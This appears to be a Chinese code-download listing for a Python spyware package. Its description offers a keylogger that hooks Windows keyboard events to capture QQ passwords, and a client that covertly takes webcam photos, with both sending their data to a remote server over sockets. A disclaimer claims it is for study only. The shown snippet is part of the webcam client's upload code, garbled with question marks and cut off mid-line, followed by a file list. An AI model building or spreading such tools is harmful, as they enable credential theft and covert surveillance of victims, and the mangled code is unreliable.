資源簡介
1.文件中有兩個客戶端的代碼。
(1)一個客戶端是利用攝像頭拍照,然后發送到sever中去
(2)另一個客戶端功能是:監聽windows中的鍵盤事件(代碼中已經寫死,過濾掉其他無關緊要的進程的鍵盤事件,只監聽輸入qq密碼時的事件)將記錄的鍵盤數據發送到server端。
(3)客戶端與服務端采用Socket的方式通信。
(4)鍵盤監聽使用的時Windows API
最后請勿用作非法用途,僅供個人學習參考。
代碼片段和文件信息
from?cv2?import?VideoCapture
from?cv2?import?imwrite
import?socket
import?os
import?struct
import?json
ip_port?=?(“127.0.0.1“?54321)
BUFFER?=?1024
SK?=?socket.socket()
SK.connect(ip_port)
head?=?{“filename“:“{0}“.format(os.getcwd())
????????“filepath“:““
????????“filesize“:““}
def?put_picture(filename):
????file_path?=?os.path.join(head[“filepath“]?filename)
????file_size?=?os.path.getsize(file_path)
????head[“filepath“]?=?file_path
????head[“filename“]?=?filename
????head[“filesize“]?=?file_size
????json_head?=?json.dumps(head)
????bytes_head?=?json_head.encode(“utf-8“)
????pack_len?=?struct.pack(“i“?len(bytes_head))
????SK.send(pack_len)
????SK.send(bytes_head)
????with?open(file_path?“rb“)?as?f:
????????while?file_size:
????????????if?file_size?>?
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2020-05-13?18:41??eg\
?????文件????????1208??2020-01-04?22:31??eg\CameraTest.py
?????文件????????5611??2020-01-04?20:06??eg\main.py
?????文件????????1094??2020-01-04?22:25??eg\server.py
評論
共有 條評論